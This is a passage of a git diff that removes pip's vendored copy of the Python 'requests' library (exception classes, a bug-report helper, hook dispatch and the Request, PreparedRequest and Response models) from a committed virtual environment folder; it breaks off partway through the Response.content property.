not send any data in the allotted amount of time.""" - - -class URLRequired(RequestException): - """A valid URL is required to make a request.""" - - -class TooManyRedirects(RequestException): - """Too many redirects.""" - - -class MissingSchema(RequestException, ValueError): - """The URL scheme (e.g. http or https) is missing.""" - - -class InvalidSchema(RequestException, ValueError): - """The URL scheme provided is either invalid or unsupported.""" - - -class InvalidURL(RequestException, ValueError): - """The URL provided was somehow invalid.""" - - -class InvalidHeader(RequestException, ValueError): - """The header value provided was somehow invalid.""" - - -class InvalidProxyURL(InvalidURL): - """The proxy URL provided is invalid.""" - - -class ChunkedEncodingError(RequestException): - """The server declared chunked encoding but sent an invalid chunk.""" - - -class ContentDecodingError(RequestException, BaseHTTPError): - """Failed to decode response content.""" - - -class StreamConsumedError(RequestException, TypeError): - """The content for this response was already consumed.""" - - -class RetryError(RequestException): - """Custom retries logic failed""" - - -class UnrewindableBodyError(RequestException): - """Requests encountered an error when trying to rewind a body.""" - - -# Warnings - - -class RequestsWarning(Warning): - """Base warning for Requests.""" - - -class FileModeWarning(RequestsWarning, DeprecationWarning): - """A file was opened in text mode, but Requests determined its binary length.""" - - -class RequestsDependencyWarning(RequestsWarning): - """An imported dependency doesn't match the expected version range.""" diff --git a/venv/Lib/site-packages/pip/_vendor/requests/help.py b/venv/Lib/site-packages/pip/_vendor/requests/help.py deleted file mode 100644 index 33f2d57b4e6077289c89d1a11acd58d56a35ba3d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/requests/help.py +++ /dev/null @@ -1,127 +0,0 @@ -"""Module containing bug report helper(s).""" - -# pyright: reportUnknownMemberType=false - -import json -import platform -import ssl -import sys -from typing import Any - -from pip._vendor import idna -from pip._vendor import urllib3 - -from . import __version__ as requests_version - -charset_normalizer = None -chardet = None - -try: - from pip._vendor.urllib3.contrib import pyopenssl -except ImportError: - pyopenssl = None - OpenSSL = None - cryptography = None -else: - import cryptography # type: ignore[import-not-found] - import OpenSSL # type: ignore[import-not-found] - - -def _implementation(): - """Return a dict with the Python implementation and version. - - Provide both the name and the version of the Python implementation - currently running. For example, on CPython 3.10.3 it will return - {'name': 'CPython', 'version': '3.10.3'}. - - This function works best on CPython and PyPy: in particular, it probably - doesn't work for Jython or IronPython. Future investigation should be done - to work out the correct shape of the code for those platforms. - """ - implementation = platform.python_implementation() - - if implementation == "CPython": - implementation_version = platform.python_version() - elif implementation == "PyPy": - pypy = sys.pypy_version_info # type: ignore[attr-defined] - implementation_version = f"{pypy.major}.{pypy.minor}.{pypy.micro}" - if sys.pypy_version_info.releaselevel != "final": # type: ignore[attr-defined] - implementation_version = "".join( - [implementation_version, sys.pypy_version_info.releaselevel] # type: ignore[attr-defined] - ) - elif implementation == "Jython": - implementation_version = platform.python_version() # Complete Guess - elif implementation == "IronPython": - implementation_version = platform.python_version() # Complete Guess - else: - implementation_version = "Unknown" - - return {"name": implementation, "version": implementation_version} - - -def info() -> dict[str, Any]: - """Generate information for a bug report.""" - try: - platform_info = { - "system": platform.system(), - "release": platform.release(), - } - except OSError: - platform_info = { - "system": "Unknown", - "release": "Unknown", - } - - implementation_info = _implementation() - urllib3_info = {"version": urllib3.__version__} # type: ignore[reportPrivateImportUsage] - charset_normalizer_info = {"version": None} - chardet_info: dict[str, str | None] = {"version": None} - if charset_normalizer: - charset_normalizer_info = {"version": charset_normalizer.__version__} - if chardet: - chardet_info = {"version": chardet.__version__} - - pyopenssl_info: dict[str, str | None] = { - "version": None, - "openssl_version": "", - } - if OpenSSL: - pyopenssl_info = { - "version": OpenSSL.__version__, - "openssl_version": f"{OpenSSL.SSL.OPENSSL_VERSION_NUMBER:x}", - } - cryptography_info = { - "version": getattr(cryptography, "__version__", ""), - } - idna_info = { - "version": getattr(idna, "__version__", ""), - } - - system_ssl = ssl.OPENSSL_VERSION_NUMBER - system_ssl_info = {"version": f"{system_ssl:x}" if system_ssl is not None else ""} # type: ignore[reportUnnecessaryComparison] - - return { - "platform": platform_info, - "implementation": implementation_info, - "system_ssl": system_ssl_info, - "using_pyopenssl": pyopenssl is not None, - "using_charset_normalizer": chardet is None, - "pyOpenSSL": pyopenssl_info, - "urllib3": urllib3_info, - "chardet": chardet_info, - "charset_normalizer": charset_normalizer_info, - "cryptography": cryptography_info, - "idna": idna_info, - "requests": { - "version": requests_version, - }, - } - - -def main(): - """Pretty-print the bug information as JSON.""" - print(json.dumps(info(), sort_keys=True, indent=2)) - - -if __name__ == "__main__": - main() diff --git a/venv/Lib/site-packages/pip/_vendor/requests/hooks.py b/venv/Lib/site-packages/pip/_vendor/requests/hooks.py deleted file mode 100644 index 11ff9e9f27e76f5ef6b9b609e88c2f418d655e16..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/requests/hooks.py +++ /dev/null @@ -1,48 +0,0 @@ -""" -requests.hooks -~~~~~~~~~~~~~~ - -This module provides the capabilities for the Requests hooks system. - -Available hooks: - -``response``: - The response generated from a Request. -""" - -from __future__ import annotations - -from collections.abc import Callable, Iterable -from typing import TYPE_CHECKING, Any - -if TYPE_CHECKING: - from . import _types as _t - from .models import Response - -HOOKS: list[str] = ["response"] - - -def default_hooks() -> dict[str, list[_t.HookType]]: - return {event: [] for event in HOOKS} - - -# TODO: response is the only one - - -def dispatch_hook( - key: str, - hooks: _t.HooksInputType | None, - hook_data: Response, - **kwargs: Any, -) -> Response: - """Dispatches a hook dictionary on a given piece of data.""" - hooks_dict = hooks or {} - hook_list: Iterable[_t.HookType] | _t.HookType | None = hooks_dict.get(key) - if hook_list: - if isinstance(hook_list, Callable): - hook_list = [hook_list] - for hook in hook_list: - _hook_data = hook(hook_data, **kwargs) - if _hook_data is not None: - hook_data = _hook_data - return hook_data diff --git a/venv/Lib/site-packages/pip/_vendor/requests/models.py b/venv/Lib/site-packages/pip/_vendor/requests/models.py deleted file mode 100644 index 3a70ae5cd14ffea0c1bd2bfd3290c50e09ce184f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/requests/models.py +++ /dev/null @@ -1,1180 +0,0 @@ -""" -requests.models -~~~~~~~~~~~~~~~ - -This module contains the primary objects that power Requests. -""" - -from __future__ import annotations - -import datetime - -# Import encoding now, to avoid implicit import later. -# Implicit import within threads may cause LookupError when standard library is in a ZIP, -# such as in Embedded Python. See https://github.com/psf/requests/issues/3578. -import encodings.idna # noqa: F401 # type: ignore[reportUnusedImport] -from collections.abc import Callable, Generator, Iterable, Iterator, Mapping -from io import UnsupportedOperation -from typing import ( - TYPE_CHECKING, - Any, - Final, - Literal, - cast, - overload, -) - -from pip._vendor.urllib3.exceptions import ( - DecodeError, - LocationParseError, - ProtocolError, - ReadTimeoutError, - SSLError, -) -from pip._vendor.urllib3.fields import RequestField -from pip._vendor.urllib3.filepost import encode_multipart_formdata -from pip._vendor.urllib3.util import parse_url - -from ._internal_utils import to_native_string, unicode_is_ascii -from ._types import SupportsRead as _SupportsRead -from .auth import HTTPBasicAuth -from .compat import ( - JSONDecodeError, - basestring, - builtin_str, - chardet, - cookielib, - urlencode, - urlsplit, - urlunparse, -) -from .compat import json as complexjson -from .cookies import ( - _copy_cookie_jar, # type: ignore[reportPrivateUsage] - cookiejar_from_dict, - get_cookie_header, -) -from .exceptions import ( - ChunkedEncodingError, - ConnectionError, - ContentDecodingError, - HTTPError, - InvalidJSONError, - InvalidURL, - MissingSchema, - StreamConsumedError, -) -from .exceptions import JSONDecodeError as RequestsJSONDecodeError -from .exceptions import SSLError as RequestsSSLError -from .hooks import default_hooks -from .status_codes import codes -from .structures import CaseInsensitiveDict -from .utils import ( - check_header_validity, - get_auth_from_url, - guess_filename, - guess_json_utf, - iter_slices, - parse_header_links, - requote_uri, - stream_decode_response_unicode, - super_len, - to_key_val_list, -) - -if TYPE_CHECKING: - from http.cookiejar import CookieJar - - from typing_extensions import Self - - from . import _types as _t - from .adapters import HTTPAdapter - from .cookies import RequestsCookieJar - -#: The set of HTTP status codes that indicate an automatically -#: processable redirect. -REDIRECT_STATI: Final[tuple[int, ...]] = ( # type: ignore[assignment] - codes.moved, # 301 - codes.found, # 302 - codes.other, # 303 - codes.temporary_redirect, # 307 - codes.permanent_redirect, # 308 -) - -DEFAULT_REDIRECT_LIMIT: int = 30 -CONTENT_CHUNK_SIZE: int = 10 * 1024 -ITER_CHUNK_SIZE: int = 512 - - -class RequestEncodingMixin: - url: str | None - - @property - def path_url(self) -> str: - """Build the path URL to use.""" - - url: list[str] = [] - - p = urlsplit(cast(str, self.url)) - - path = p.path - if not path: - path = "/" - - url.append(path) - - query = p.query - if query: - url.append("?") - url.append(query) - - return "".join(url) - - @overload - @staticmethod - def _encode_params(data: str) -> str: ... - - @overload - @staticmethod - def _encode_params(data: bytes) -> bytes: ... - - @overload - @staticmethod - def _encode_params( - data: _t.SupportsRead[str | bytes], - ) -> _t.SupportsRead[str | bytes]: ... - - @overload - @staticmethod - def _encode_params(data: _t.KVDataType) -> str: ... - - @staticmethod - def _encode_params( - data: _t.EncodableDataType, - ) -> str | bytes | _t.SupportsRead[str | bytes]: - """Encode parameters in a piece of data. - - Will successfully encode parameters when passed as a dict or a list of - 2-tuples. Order is retained if data is a list of 2-tuples but arbitrary - if parameters are supplied as a dict. - """ - - if isinstance(data, (str, bytes)): - return data - elif isinstance(data, _SupportsRead): - return data - elif hasattr(data, "__iter__"): - result: list[tuple[bytes, bytes]] = [] - for k, vs in to_key_val_list(data): - if isinstance(vs, basestring) or not hasattr(vs, "__iter__"): - vs = [vs] - for v in vs: - if v is not None: - result.append( - ( - k.encode("utf-8") if isinstance(k, str) else k, - v.encode("utf-8") if isinstance(v, str) else v, - ) - ) - return urlencode(result, doseq=True) - else: - return data # type: ignore[return-value] # unreachable for valid _t.DataType - - @staticmethod - def _encode_files( - files: _t.FilesType, data: _t.RawDataType | None - ) -> tuple[bytes, str]: - """Build the body for a multipart/form-data request. - - Will successfully encode files when passed as a dict or a list of - tuples. Order is retained if data is a list of tuples but arbitrary - if parameters are supplied as a dict. - The tuples may be 2-tuples (filename, fileobj), 3-tuples (filename, fileobj, contentype) - or 4-tuples (filename, fileobj, contentype, custom_headers). - """ - if not files: - raise ValueError("Files must be provided.") - elif isinstance(data, basestring): - raise ValueError("Data must not be a string.") - - new_fields: list[RequestField | tuple[str, bytes]] = [] - fields = to_key_val_list(data or {}) - files = to_key_val_list(files or {}) - - for field, val in fields: - if isinstance(val, basestring) or not hasattr(val, "__iter__"): - val = [val] - for v in val: - if v is not None: - # Don't call str() on bytestrings: in Py3 it all goes wrong. - if not isinstance(v, bytes): - v = str(v) - - new_fields.append( - ( - field.decode("utf-8") - if isinstance(field, bytes) - else field, - v.encode("utf-8") if isinstance(v, str) else v, - ) - ) - - for k, v in files: - # support for explicit filename - ft = None - fh = None - if isinstance(v, (tuple, list)): - if len(v) == 2: - fn, fp = v - elif len(v) == 3: - fn, fp, ft = v - else: - fn, fp, ft, fh = v - else: - fn = guess_filename(v) or k - fp = v - - if isinstance(fp, (str, bytes, bytearray)): - fdata = fp - elif isinstance(fp, _SupportsRead): # type: ignore[reportUnnecessaryIsInstance] # defensive check for untyped callers - fdata = fp.read() - elif fp is None: # type: ignore[reportUnnecessaryComparison] # defensive check for untyped callers - continue - else: - fdata = fp - - rf = RequestField(name=k, data=fdata, filename=fn, headers=fh) - rf.make_multipart(content_type=ft) - new_fields.append(rf) - - body, content_type = encode_multipart_formdata(new_fields) - - return body, content_type - - -class RequestHooksMixin: - hooks: dict[str, list[_t.HookType]] - - def register_hook( - self, event: str, hook: Iterable[_t.HookType] | _t.HookType - ) -> None: - """Properly register a hook.""" - - if event not in self.hooks: - raise ValueError(f'Unsupported event specified, with event name "{event}"') - - if isinstance(hook, Callable): - self.hooks[event].append(hook) - elif hasattr(hook, "__iter__"): - self.hooks[event].extend(h for h in hook if isinstance(h, Callable)) # type: ignore[reportUnnecessaryIsInstance] # defensive runtime filter - - def deregister_hook(self, event: str, hook: _t.HookType) -> bool: - """Deregister a previously registered hook. - Returns True if the hook existed, False if not. - """ - - try: - self.hooks[event].remove(hook) - return True - except ValueError: - return False - - -class Request(RequestHooksMixin): - """A user-created :class:`Request ` object. - - Used to prepare a :class:`PreparedRequest `, which is sent to the server. - - :param method: HTTP method to use. - :param url: URL to send. - :param headers: dictionary of headers to send. - :param files: dictionary of {filename: fileobject} files to multipart upload. - :param data: the body to attach to the request. If a dictionary or - list of tuples ``[(key, value)]`` is provided, form-encoding will - take place. - :param json: json for the body to attach to the request (if files or data is not specified). - :param params: URL parameters to append to the URL. If a dictionary or - list of tuples ``[(key, value)]`` is provided, form-encoding will - take place. - :param auth: Auth handler or (user, pass) tuple. - :param cookies: dictionary or CookieJar of cookies to attach to this request. - :param hooks: dictionary of callback hooks, for internal usage. - - Usage:: - - >>> import requests - >>> req = requests.Request('GET', 'https://httpbin.org/get') - >>> req.prepare() - - """ - - method: str | None - url: _t.UriType | None - headers: Mapping[str, str | bytes] - files: _t.FilesType - data: _t.DataType - json: _t.JsonType - params: _t.ParamsType - auth: _t.AuthType - cookies: RequestsCookieJar | CookieJar | dict[str, str] | None - - def __init__( - self, - method: str | None = None, - url: _t.UriType | None = None, - headers: _t.HeadersType = None, - files: _t.FilesType = None, - data: _t.DataType = None, - params: _t.ParamsType = None, - auth: _t.AuthType = None, - cookies: RequestsCookieJar | CookieJar | dict[str, str] | None = None, - hooks: _t.HooksInputType | None = None, - json: _t.JsonType = None, - ) -> None: - # Default empty dicts for dict params. - data = [] if data is None else data - files = [] if files is None else files - headers = {} if headers is None else headers - params = {} if params is None else params - hooks = {} if hooks is None else hooks - - self.hooks = default_hooks() - for k, v in list(hooks.items()): - self.register_hook(event=k, hook=v) - - self.method = method - self.url = url - self.headers = headers - self.files = files - self.data = data - self.json = json - self.params = params - self.auth = auth - self.cookies = cookies - - def __repr__(self) -> str: - return f"" - - def prepare(self) -> PreparedRequest: - """Constructs a :class:`PreparedRequest ` for transmission and returns it.""" - p = PreparedRequest() - p.prepare( - method=self.method, - url=self.url, - headers=self.headers, - files=self.files, - data=self.data, - json=self.json, - params=self.params, - auth=self.auth, - cookies=self.cookies, - hooks=self.hooks, - ) - return p - - -class PreparedRequest(RequestEncodingMixin, RequestHooksMixin): - """The fully mutable :class:`PreparedRequest ` object, - containing the exact bytes that will be sent to the server. - - Instances are generated from a :class:`Request ` object, and - should not be instantiated manually; doing so may produce undesirable - effects. - - Usage:: - - >>> import requests - >>> req = requests.Request('GET', 'https://httpbin.org/get') - >>> r = req.prepare() - >>> r - - - >>> s = requests.Session() - >>> s.send(r) - - """ - - method: str | None - url: str | None - headers: CaseInsensitiveDict[str | bytes] - _cookies: RequestsCookieJar | CookieJar | None - body: _t.BodyType - hooks: dict[str, list[_t.HookType]] - _body_position: int | object | None - - def __init__(self) -> None: - #: HTTP verb to send to the server. - self.method = None - #: HTTP URL to send the request to. - self.url = None - #: dictionary of HTTP headers. - self.headers = None # type: ignore[assignment] - # The `CookieJar` used to create the Cookie header will be stored here - # after prepare_cookies is called - self._cookies = None - #: request body to send to the server. - self.body = None - #: dictionary of callback hooks, for internal usage. - self.hooks = default_hooks() - #: integer denoting starting position of a readable file-like body. - self._body_position = None - - def prepare( - self, - method: str | None = None, - url: _t.UriType | None = None, - headers: Mapping[str, str | bytes] | None = None, - files: _t.FilesType = None, - data: _t.DataType = None, - params: _t.ParamsType = None, - auth: _t.AuthType = None, - cookies: RequestsCookieJar | CookieJar | dict[str, str] | None = None, - hooks: _t.HooksInputType | None = None, - json: _t.JsonType = None, - ) -> None: - """Prepares the entire request with the given parameters.""" - - url = cast("_t.UriType", url) - self.prepare_method(method) - self.prepare_url(url, params) - self.prepare_headers(headers) - self.prepare_cookies(cookies) - self.prepare_body(data, files, json) - self.prepare_auth(auth, url) - - # Note that prepare_auth must be last to enable authentication schemes - # such as OAuth to work on a fully prepared request. - - # This MUST go after prepare_auth. Authenticators could add a hook - self.prepare_hooks(hooks) - - def __repr__(self) -> str: - return f"" - - def copy(self) -> PreparedRequest: - p = PreparedRequest() - p.method = self.method - p.url = self.url - p.headers = self.headers.copy() if self.headers is not None else None # type: ignore[assignment] - p._cookies = _copy_cookie_jar(self._cookies) - p.body = self.body - p.hooks = self.hooks - p._body_position = self._body_position - return p - - def prepare_method(self, method: str | None) -> None: - """Prepares the given HTTP method.""" - self.method = method - if self.method is not None: - self.method = to_native_string(self.method.upper()) - - @staticmethod - def _get_idna_encoded_host(host: str) -> str: - from pip._vendor import idna - - try: - host = idna.encode(host, uts46=True).decode("utf-8") - except idna.IDNAError: - raise UnicodeError - return host - - def prepare_url( - self, - url: _t.UriType, - params: _t.ParamsType, - ) -> None: - """Prepares the given HTTP URL.""" - #: Accept objects that have string representations. - #: We're unable to blindly call unicode/str functions - #: as this will include the bytestring indicator (b'') - #: on python 3.x. - #: https://github.com/psf/requests/pull/2238 - if isinstance(url, bytes): - url = url.decode("utf8") - else: - url = str(url) - - # Remove leading whitespaces from url - url = url.lstrip() - - # Don't do any URL preparation for non-HTTP schemes like `mailto`, - # `data` etc to work around exceptions from `url_parse`, which - # handles RFC 3986 only. - if ":" in url and not url.lower().startswith("http"): - self.url = url - return - - # Support for unicode domain names and paths. - try: - scheme, auth, host, port, path, query, fragment = parse_url(url) - except LocationParseError as e: - raise InvalidURL(*e.args) - - if not scheme: - raise MissingSchema( - f"Invalid URL {url!r}: No scheme supplied. " - f"Perhaps you meant https://{url}?" - ) - - if not host: - raise InvalidURL(f"Invalid URL {url!r}: No host supplied") - - # In general, we want to try IDNA encoding the hostname if the string contains - # non-ASCII characters. This allows users to automatically get the correct IDNA - # behaviour. For strings containing only ASCII characters, we need to also verify - # it doesn't start with a wildcard (*), before allowing the unencoded hostname. - if not unicode_is_ascii(host): - try: - host = self._get_idna_encoded_host(host) - except UnicodeError: - raise InvalidURL("URL has an invalid label.") - elif host.startswith(("*", ".")): - raise InvalidURL("URL has an invalid label.") - - # Carefully reconstruct the network location - netloc = auth or "" - if netloc: - netloc += "@" - netloc += host - if port: - netloc += f":{port}" - - # Bare domains aren't valid URLs. - if not path: - path = "/" - - if isinstance(params, (str, bytes)): - params = to_native_string(params) - - if params is not None: - enc_params = self._encode_params(params) - else: - enc_params = "" - - if enc_params: - if query: - query = f"{query}&{enc_params}" - else: - query = enc_params - - url = requote_uri(urlunparse((scheme, netloc, path, "", query, fragment))) - self.url = url - - def prepare_headers(self, headers: Mapping[str, str | bytes] | None) -> None: - """Prepares the given HTTP headers.""" - - self.headers = CaseInsensitiveDict() - if headers: - for header in headers.items(): - # Raise exception on invalid header value. - check_header_validity(header) - name, value = header - self.headers[to_native_string(name)] = value - - def prepare_body( - self, data: _t.DataType, files: _t.FilesType, json: _t.JsonType = None - ) -> None: - """Prepares the given HTTP body data.""" - - # Check if file, fo, generator, iterator. - # If not, run through normal process. - - # Nottin' on you. - body = None - content_type = None - - if not data and json is not None: - # urllib3 requires a bytes-like body. Python 2's json.dumps - # provides this natively, but Python 3 gives a Unicode string. - content_type = "application/json" - - try: - body = complexjson.dumps(json, allow_nan=False) - except ValueError as ve: - raise InvalidJSONError(ve, request=self) - - if not isinstance(body, bytes): - body = body.encode("utf-8") - - # data that proxies attributes to underlying objects needs hasattr - is_iterable = isinstance(data, Iterable) or hasattr(data, "__iter__") - if is_iterable and not isinstance(data, (str, bytes, list, tuple, Mapping)): - try: - length = super_len(data) - except (TypeError, AttributeError, UnsupportedOperation): - length = None - - body = data - - if getattr(body, "tell", None) is not None: - # Record the current file position before reading. - # This will allow us to rewind a file in the event - # of a redirect. - try: - self._body_position = body.tell() # type: ignore[union-attr] # guarded by getattr check - except OSError: - # This differentiates from None, allowing us to catch - # a failed `tell()` later when trying to rewind the body - self._body_position = object() - - if files: - raise NotImplementedError( - "Streamed bodies and files are mutually exclusive." - ) - - if length: - self.headers["Content-Length"] = builtin_str(length) - else: - self.headers["Transfer-Encoding"] = "chunked" - else: - # After is_stream filtering, remaining data is raw (not streamed) - raw_data = cast("_t.RawDataType | None", data) - - # Multi-part file uploads. - if files: - (body, content_type) = self._encode_files(files, raw_data) - else: - if raw_data: - body = self._encode_params(raw_data) - if isinstance(data, basestring) or isinstance(data, _SupportsRead): - content_type = None - else: - content_type = "application/x-www-form-urlencoded" - - self.prepare_content_length(body) - - # Add content-type if it wasn't explicitly provided. - if content_type and ("content-type" not in self.headers): - self.headers["Content-Type"] = content_type - - self.body = body # type: ignore[assignment] # body transforms from DataType to BodyType - - def prepare_content_length(self, body: _t.BodyType) -> None: - """Prepare Content-Length header based on request method and body""" - if body is not None: - length = super_len(body) - if length: - # If length exists, set it. Otherwise, we fallback - # to Transfer-Encoding: chunked. - self.headers["Content-Length"] = builtin_str(length) - elif ( - self.method not in ("GET", "HEAD") - and self.headers.get("Content-Length") is None - ): - # Set Content-Length to 0 for methods that can have a body - # but don't provide one. (i.e. not GET or HEAD) - self.headers["Content-Length"] = "0" - - def prepare_auth( - self, - auth: _t.AuthType, - url: _t.UriType = "", - ) -> None: - """Prepares the given HTTP auth data.""" - - # If no Auth is explicitly provided, extract it from the URL first. - if auth is None: - url_auth = get_auth_from_url(cast(str, self.url)) - auth = url_auth if any(url_auth) else None - - if auth: - if isinstance(auth, tuple) and len(auth) == 2: # type: ignore[arg-type] # pyright widens tuple from Callable in AuthType - # special-case basic HTTP auth - auth_handler = HTTPBasicAuth(*auth) # type: ignore[arg-type] # pyright widens tuple from Callable in AuthType - else: - # TODO: can be fixed by flipping the conditionals - auth_handler = cast("Callable[..., PreparedRequest]", auth) - - # Allow auth to make its changes. - r = auth_handler(self) - - # Update self to reflect the auth changes. - self.__dict__.update(r.__dict__) - - # Recompute Content-Length - self.prepare_content_length(self.body) - - def prepare_cookies( - self, cookies: RequestsCookieJar | CookieJar | dict[str, str] | None - ) -> None: - """Prepares the given HTTP cookie data. - - This function eventually generates a ``Cookie`` header from the - given cookies using cookielib. Due to cookielib's design, the header - will not be regenerated if it already exists, meaning this function - can only be called once for the life of the - :class:`PreparedRequest ` object. Any subsequent calls - to ``prepare_cookies`` will have no actual effect, unless the "Cookie" - header is removed beforehand. - """ - if isinstance(cookies, cookielib.CookieJar): - self._cookies = cookies - else: - self._cookies = cookiejar_from_dict(cookies) - - cookies_jar = cast("CookieJar", self._cookies) - cookie_header = get_cookie_header(cookies_jar, self) - if cookie_header is not None: - self.headers["Cookie"] = cookie_header - - def prepare_hooks(self, hooks: _t.HooksInputType | None) -> None: - """Prepares the given hooks.""" - # hooks can be passed as None to the prepare method and to this - # method. To prevent iterating over None, simply use an empty list - # if hooks is False-y - hooks = hooks or {} - for event in hooks: - self.register_hook(event, hooks[event]) - - -class Response: - """The :class:`Response ` object, which contains a - server's response to an HTTP request. - """ - - _content: bytes | Literal[False] | None - _content_consumed: bool - _next: PreparedRequest | None - status_code: int - headers: CaseInsensitiveDict[str] - raw: Any - url: str - encoding: str | None - history: list[Response] - reason: str - cookies: RequestsCookieJar - elapsed: datetime.timedelta - request: PreparedRequest - connection: HTTPAdapter - - __attrs__: list[str] = [ - "_content", - "status_code", - "headers", - "url", - "history", - "encoding", - "reason", - "cookies", - "elapsed", - "request", - ] - - def __init__(self) -> None: - self._content = False - self._content_consumed = False - self._next = None - - #: Integer Code of responded HTTP Status, e.g. 404 or 200. - self.status_code = None # type: ignore[assignment] - - #: Case-insensitive Dictionary of Response Headers. - #: For example, ``headers['content-encoding']`` will return the - #: value of a ``'Content-Encoding'`` response header. - self.headers = CaseInsensitiveDict() - - #: File-like object representation of response (for advanced usage). - #: Use of ``raw`` requires that ``stream=True`` be set on the request. - #: This requirement does not apply for use internally to Requests. - self.raw = None - - #: Final URL location of Response. - self.url = None # type: ignore[assignment] - - #: Encoding to decode with when accessing r.text. - self.encoding = None - - #: A list of :class:`Response ` objects from - #: the history of the Request. Any redirect responses will end - #: up here. The list is sorted from the oldest to the most recent request. - self.history = [] - - #: Textual reason of responded HTTP Status, e.g. "Not Found" or "OK". - self.reason = None # type: ignore[assignment] - - #: A CookieJar of Cookies the server sent back. - self.cookies = cookiejar_from_dict({}) - - #: The amount of time elapsed between sending the request - #: and the arrival of the response (as a timedelta). - #: This property specifically measures the time taken between sending - #: the first byte of the request and finishing parsing the headers. It - #: is therefore unaffected by consuming the response content or the - #: value of the ``stream`` keyword argument. - self.elapsed = datetime.timedelta(0) - - #: The :class:`PreparedRequest ` object to which this - #: is a response. - self.request = None # type: ignore[assignment] - - def __enter__(self) -> Self: - return self - - def __exit__(self, *args: Any) -> None: - self.close() - - def __getstate__(self) -> dict[str, Any]: - # Consume everything; accessing the content attribute makes - # sure the content has been fully read. - if not self._content_consumed: - self.content - - return {attr: getattr(self, attr, None) for attr in self.__attrs__} - - def __setstate__(self, state: dict[str, Any]) -> None: - for name, value in state.items(): - setattr(self, name, value) - - # pickled objects do not have .raw - setattr(self, "_content_consumed", True) - setattr(self, "raw", None) - - def __repr__(self) -> str: - return f"" - - def __bool__(self) -> bool: - """Returns True if :attr:`status_code` is less than 400. - - This attribute checks if the status code of the response is between - 400 and 600 to see if there was a client error or a server error. If - the status code, is between 200 and 400, this will return True. This - is **not** a check to see if the response code is ``200 OK``. - """ - return self.ok - - def __nonzero__(self) -> bool: - """Returns True if :attr:`status_code` is less than 400. - - This attribute checks if the status code of the response is between - 400 and 600 to see if there was a client error or a server error. If - the status code, is between 200 and 400, this will return True. This - is **not** a check to see if the response code is ``200 OK``. - """ - return self.ok - - def __iter__(self) -> Iterator[bytes]: - """Allows you to use a response as an iterator.""" - return self.iter_content(128) - - @property - def ok(self) -> bool: - """Returns True if :attr:`status_code` is less than 400, False if not. - - This attribute checks if the status code of the response is between - 400 and 600 to see if there was a client error or a server error. If - the status code is between 200 and 400, this will return True. This - is **not** a check to see if the response code is ``200 OK``. - """ - try: - self.raise_for_status() - except HTTPError: - return False - return True - - @property - def is_redirect(self) -> bool: - """True if this Response is a well-formed HTTP redirect that could have - been processed automatically (by :meth:`Session.resolve_redirects`). - """ - return "location" in self.headers and self.status_code in REDIRECT_STATI - - @property - def is_permanent_redirect(self) -> bool: - """True if this Response one of the permanent versions of redirect.""" - return "location" in self.headers and self.status_code in ( - codes.moved_permanently, - codes.permanent_redirect, - ) - - @property - def next(self) -> PreparedRequest | None: - """Returns a PreparedRequest for the next request in a redirect chain, if there is one.""" - return self._next - - @property - def apparent_encoding(self) -> str | None: - """The apparent encoding, provided by the charset_normalizer or chardet libraries.""" - if chardet is not None: - return chardet.detect(self.content)["encoding"] - else: - # If no character detection library is available, we'll fall back - # to a standard Python utf-8 str. - return "utf-8" - - @overload - def iter_content( - self, chunk_size: int | None = 1, decode_unicode: Literal[False] = False - ) -> Iterator[bytes]: ... - @overload - def iter_content( - self, chunk_size: int | None = 1, *, decode_unicode: Literal[True] - ) -> Iterator[str | bytes]: ... - def iter_content( - self, chunk_size: int | None = 1, decode_unicode: bool = False - ) -> Iterator[str | bytes]: - """Iterates over the response data. When stream=True is set on the - request, this avoids reading the content at once into memory for - large responses. The chunk size is the number of bytes it should - read into memory. This is not necessarily the length of each item - returned as decoding can take place. - - chunk_size must be of type int or None. A value of None will - function differently depending on the value of `stream`. - stream=True will read data as it arrives in whatever size the - chunks are received. If stream=False, data is returned as - a single chunk. - - If decode_unicode is True, content will be decoded using encoding - information from the response. If no encoding information is available, - bytes will be returned. This can be bypassed by manually setting - `encoding` on the response. - """ - - def generate() -> Generator[bytes, None, None]: - # Special case for urllib3. - if hasattr(self.raw, "stream"): - try: - yield from self.raw.stream(chunk_size, decode_content=True) - except ProtocolError as e: - raise ChunkedEncodingError(e) - except DecodeError as e: - raise ContentDecodingError(e) - except ReadTimeoutError as e: - raise ConnectionError(e) - except SSLError as e: - raise RequestsSSLError(e) - else: - # Standard file-like object. - while True: - chunk = self.raw.read(chunk_size) - if not chunk: - break - yield chunk - - self._content_consumed = True - - if self._content_consumed and isinstance(self._content, bool): - raise StreamConsumedError() - elif chunk_size is not None and not isinstance(chunk_size, int): # type: ignore[reportUnnecessaryIsInstance] # runtime guard for untyped callers - raise TypeError( - f"chunk_size must be an int, it is instead a {type(chunk_size)}." - ) - - if self._content_consumed: - # simulate reading small chunks of the content - content = cast(bytes, self._content) - chunks = iter_slices(content, chunk_size) - else: - chunks = generate() - - if decode_unicode: - chunks = stream_decode_response_unicode(chunks, self) - - return chunks - - @overload - def iter_lines( - self, - chunk_size: int = ITER_CHUNK_SIZE, - decode_unicode: Literal[False] = False, - delimiter: bytes | None = None, - ) -> Iterator[bytes]: ... - @overload - def iter_lines( - self, - chunk_size: int = ITER_CHUNK_SIZE, - *, - decode_unicode: Literal[True], - delimiter: str | bytes | None = None, - ) -> Iterator[str | bytes]: ... - def iter_lines( - self, - chunk_size: int = ITER_CHUNK_SIZE, - decode_unicode: bool = False, - delimiter: str | bytes | None = None, - ) -> Iterator[str | bytes]: - """Iterates over the response data, one line at a time. When - stream=True is set on the request, this avoids reading the - content at once into memory for large responses. - - The decode_unicode param works the same as in `iter_content`, with the - same caveats. - - .. note:: This method is not reentrant safe. - """ - - pending: str | bytes | None = None - - for chunk in self.iter_content( - chunk_size=chunk_size, decode_unicode=decode_unicode - ): - if pending is not None: - # TODO: remove cast after iter_lines rewrite - chunk = cast("str | bytes", pending + chunk) # type: ignore[operator] - - if delimiter: - lines = chunk.split(delimiter) # type: ignore[arg-type] - else: - lines = chunk.splitlines() - - if lines and lines[-1] and chunk and lines[-1][-1] == chunk[-1]: - pending = lines.pop() - else: - pending = None - - yield from lines - - if pending is not None: - yield pending - - @property - def content(self) -> bytes: - """Content of the response, in bytes.""" - - if self._content is False: - # Read the contents. - if self._content_consumed: - raise RuntimeError("The content for this response was already consumed") - - if self.status_code == 0 or self.raw is None: - self._content = None - else: - self._content = 